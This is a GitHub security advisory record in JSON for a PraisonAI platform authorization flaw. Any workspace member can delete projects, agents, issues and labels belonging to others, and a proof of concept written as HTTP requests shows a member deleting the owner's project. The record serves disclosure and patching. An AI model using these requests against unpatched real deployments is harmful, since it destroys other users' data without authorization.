CVE-2026-57121: PraisonAI Missing Ownership Check On DELETE Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rh39-9c67-59mh",
  "modified" : "2026-07-20T21:25:04Z",
  "published" : "2026-06-18T13:58:03Z",
  "aliases" : [ "CVE-2026-57121" ],
  "summary" : "PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API",
  "details" : "### Summary\nA workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly.\n\n### Details\nThe [published role capability matrix](https://docs.praison.ai/docs/features/platform/members) explicitly restricts members from modifying others' content:\n\n| Capability | Owner | Admin | Member |\n|---|---|---|---|\n| Create issues/tasks | ✅ | ✅ | ✅ |\n| Edit own content | ✅ | ✅ | ✅ |\n| Edit others' content | ✅ | ✅ | ❌ |\n\nThe DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an `owner`/`admin` role. The result is that the `member` role has unrestricted DELETE access over all workspace content regardless of who created it.\n\n**Confirmed vulnerable endpoints:**\n\n| Endpoint | Expected | Actual |\n|---|---|---|\n| `DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` | 403 | 204 |\n\nThe missing check is isolated to content resource DELETEs.\n\n\n### PoC\n**Requirements:** Two accounts — owner (resource creator) and member (attacker).\n\n**1. Register both accounts**\n\n```http\nPOST /api/v1/auth/register\nContent-Type: application/json\n\n{\"email\": \"owner@example.com\", \"password\": \"Password1!\", \"name\": \"owner\"}\n```\n\n```http\nPOST /api/v1/auth/register\nContent-Type: application/json\n\n{\"email\": \"member@example.com\", \"password\": \"Password1!\", \"name\": \"member\"}\n```\n\n**2. Owner creates workspace, adds member with `member` role**\n\n```http\nPOST /api/v1/workspaces/\nAuthorization: Bearer <owner_token>\nContent-Type: application/json\n\n{\"name\": \"Test Workspace\"}\n```\n\n```http\nPOST /api/v1/workspaces/{workspace_id}/members\nAuthorization: Bearer <owner_token>\nContent-Type: application/json\n\n{\"user_id\": \"<member_user_id>\", \"role\": \"member\"}\n```\n\n**3. Owner creates a project**\n\n```http\nPOST /api/v1/workspaces/{workspace_id}/projects/\nAuthorization: Bearer <owner_token>\nContent-Type: application/json\n\n{\"title\": \"Owner's Project\"}\n```\n\nResponse `201 Created`:\n```json\n{\"id\": \"29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\", \"title\": \"Owner's Project\", ...}\n```\n\n**4. Member deletes the owner's project**\n\n```http\nDELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\nAuthorization: Bearer <member_token>\n```\n\nResponse: **`204 No Content`**\n\n**5. Owner confirms the project is permanently gone**\n\n```http\nGET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\nAuthorization: Bearer <owner_token>\n```\n\nResponse: **`404 Not Found`**\n```json\n{\"detail\": \"Project not found\"}\n```\n\nThe same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments).\n\n\n---\n\n### Impact\n\nThis is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content — the DELETE endpoints do not enforce this.\n\n**Who is impacted:** Workspace owners and members who share a workspace with untrusted or compromised member accounts.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai-platform"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.1.4"
      }, {
        "fixed" : "0.1.6"
      } ]
    } ],
    "versions" : [ "0.1.4" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-285" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-18T13:58:03Z",
    "nvd_published_at" : null
  }
}